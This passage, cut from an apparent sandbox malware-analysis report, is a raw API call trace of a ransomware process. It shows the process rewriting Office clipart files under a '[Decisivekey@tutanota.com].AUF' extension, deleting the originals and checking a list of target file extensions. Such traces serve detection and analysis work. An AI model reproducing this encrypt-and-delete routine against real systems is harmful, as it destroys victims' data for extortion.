files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0217.922] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.922] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.922] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.922] GetLastError () returned 0x0 [0217.922] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x2cec, lpOverlapped=0x0) returned 1 [0217.924] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x2cf0, lpOverlapped=0x0) returned 1 [0217.925] ReadFile (in: hFile=0x204, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.925] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.925] SetEndOfFile (hFile=0x21c) returned 1 [0217.925] CloseHandle (hObject=0x21c) returned 1 [0217.925] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.925] SetEndOfFile (hFile=0x204) returned 1 [0217.926] CloseHandle (hObject=0x204) returned 1 [0217.927] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.927] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf")) returned 1 [0217.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0217.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0217.927] lstrlenW (lpString=".doc") returned 4 [0217.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.927] lstrlenW (lpString=".docx") returned 5 [0217.927] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.927] lstrlenW (lpString=".pdf") returned 4 [0217.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.927] lstrlenW (lpString=".xls") returned 4 [0217.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.927] lstrlenW (lpString=".xlsx") returned 5 [0217.927] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.927] lstrlenW (lpString=".ppt") returned 4 [0217.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0217.927] lstrlenW (lpString=".zip") returned 4 [0217.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.928] lstrlenW (lpString=".rar") returned 4 [0217.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.928] lstrlenW (lpString=".bz2") returned 4 [0217.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.928] lstrlenW (lpString=".7z") returned 3 [0217.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0217.928] lstrlenW (lpString=".dbf") returned 4 [0217.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0217.928] lstrlenW (lpString=".1cd") returned 4 [0217.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF") returned 63 [0217.928] lstrlenW (lpString=".jpg") returned 4 [0217.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.941] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.950] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.955] GetLastError () returned 0x0 [0217.955] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1138, lpOverlapped=0x0) returned 1 [0217.991] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0217.992] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0217.992] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0217.992] SetEndOfFile (hFile=0x21c) returned 1 [0217.992] CloseHandle (hObject=0x21c) returned 1 [0217.992] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.992] SetEndOfFile (hFile=0x1f4) returned 1 [0217.993] CloseHandle (hObject=0x1f4) returned 1 [0217.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0217.993] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0217.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0217.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0217.993] lstrlenW (lpString=".doc") returned 4 [0217.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0217.993] lstrlenW (lpString=".docx") returned 5 [0217.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0217.993] lstrlenW (lpString=".pdf") returned 4 [0217.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0217.993] lstrlenW (lpString=".xls") returned 4 [0217.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0217.993] lstrlenW (lpString=".xlsx") returned 5 [0217.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0217.993] lstrlenW (lpString=".ppt") returned 4 [0217.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0217.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0217.994] lstrlenW (lpString=".zip") returned 4 [0217.994] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0217.994] lstrlenW (lpString=".rar") returned 4 [0217.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0217.994] lstrlenW (lpString=".bz2") returned 4 [0217.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0217.994] lstrlenW (lpString=".7z") returned 3 [0217.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0217.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0217.994] lstrlenW (lpString=".dbf") returned 4 [0217.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0217.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0217.994] lstrlenW (lpString=".1cd") returned 4 [0217.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0217.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0217.994] lstrlenW (lpString=".jpg") returned 4 [0217.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0217.994] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=29004) returned 1 [0217.994] CloseHandle (hObject=0x1f4) returned 1 [0217.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 0x20 [0217.994] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0217.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0217.994] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.994] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0217.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0217.995] GetLastError () returned 0x0 [0217.995] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x714c, lpOverlapped=0x0) returned 1 [0218.165] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x7150, lpOverlapped=0x0) returned 1 [0218.166] ReadFile (in: hFile=0x1f4, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.166] WriteFile (in: hFile=0x21c, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.166] SetEndOfFile (hFile=0x21c) returned 1 [0218.260] CloseHandle (hObject=0x21c) returned 1 [0218.260] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.260] SetEndOfFile (hFile=0x1f4) returned 1 [0218.261] CloseHandle (hObject=0x1f4) returned 1 [0218.261] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.261] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\boatinst.wmf")) returned 1 [0218.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0218.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0218.332] lstrlenW (lpString=".doc") returned 4 [0218.332] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.332] lstrlenW (lpString=".docx") returned 5 [0218.332] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1 [0218.332] lstrlenW (lpString=".pdf") returned 4 [0218.332] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.332] lstrlenW (lpString=".xls") returned 4 [0218.332] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.332] lstrlenW (lpString=".xlsx") returned 5 [0218.332] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1 [0218.332] lstrlenW (lpString=".ppt") returned 4 [0218.332] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0218.332] lstrlenW (lpString=".zip") returned 4 [0218.332] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.332] lstrlenW (lpString=".rar") returned 4 [0218.332] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.332] lstrlenW (lpString=".bz2") returned 4 [0218.332] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.332] lstrlenW (lpString=".7z") returned 3 [0218.332] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0218.332] lstrlenW (lpString=".dbf") returned 4 [0218.332] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0218.332] lstrlenW (lpString=".1cd") returned 4 [0218.332] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 63 [0218.332] lstrlenW (lpString=".jpg") returned 4 [0218.332] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.571] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.571] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.571] GetLastError () returned 0x0 [0218.571] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x1370, lpOverlapped=0x0) returned 1 [0218.596] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x1380, lpOverlapped=0x0) returned 1 [0218.597] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.597] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.597] SetEndOfFile (hFile=0x184) returned 1 [0218.597] CloseHandle (hObject=0x184) returned 1 [0218.597] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.597] SetEndOfFile (hFile=0x1f8) returned 1 [0218.598] CloseHandle (hObject=0x1f8) returned 1 [0218.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 1 [0218.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0218.598] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0218.598] lstrlenW (lpString=".doc") returned 4 [0218.598] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.598] lstrlenW (lpString=".docx") returned 5 [0218.598] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.598] lstrlenW (lpString=".pdf") returned 4 [0218.598] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.599] lstrlenW (lpString=".xls") returned 4 [0218.599] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.599] lstrlenW (lpString=".xlsx") returned 5 [0218.599] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.599] lstrlenW (lpString=".ppt") returned 4 [0218.599] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0218.599] lstrlenW (lpString=".zip") returned 4 [0218.599] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.599] lstrlenW (lpString=".rar") returned 4 [0218.599] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.599] lstrlenW (lpString=".bz2") returned 4 [0218.599] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.599] lstrlenW (lpString=".7z") returned 3 [0218.599] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0218.599] lstrlenW (lpString=".dbf") returned 4 [0218.599] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0218.599] lstrlenW (lpString=".1cd") returned 4 [0218.599] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0218.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF") returned 63 [0218.599] lstrlenW (lpString=".jpg") returned 4 [0218.599] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0218.599] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1588) returned 1 [0218.599] CloseHandle (hObject=0x1f8) returned 1 [0218.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 0x20 [0218.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0218.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0218.600] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.600] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0218.600] GetLastError () returned 0x0 [0218.600] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x634, lpOverlapped=0x0) returned 1 [0218.614] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x640, lpOverlapped=0x0) returned 1 [0218.615] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0218.615] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0218.615] SetEndOfFile (hFile=0x184) returned 1 [0218.616] CloseHandle (hObject=0x184) returned 1 [0218.616] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0218.616] SetEndOfFile (hFile=0x1f8) returned 1 [0218.616] CloseHandle (hObject=0x1f8) returned 1 [0218.616] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0218.617] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00224_.wmf")) returned 1 [0218.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0218.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0218.618] lstrlenW (lpString=".doc") returned 4 [0218.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0218.618] lstrlenW (lpString=".docx") returned 5 [0218.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0218.618] lstrlenW (lpString=".pdf") returned 4 [0218.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0218.618] lstrlenW (lpString=".xls") returned 4 [0218.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0218.618] lstrlenW (lpString=".xlsx") returned 5 [0218.618] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0218.618] lstrlenW (lpString=".ppt") returned 4 [0218.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0218.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0218.618] lstrlenW (lpString=".zip") returned 4 [0218.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0218.618] lstrlenW (lpString=".rar") returned 4 [0218.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0218.618] lstrlenW (lpString=".bz2") returned 4 [0218.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0218.619] lstrlenW (lpString=".7z") returned 3 [0218.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0218.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 63 [0218.619] lstrlenW (lpString=".dbf") returned 4 [0218.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0218.619] lstrlenW 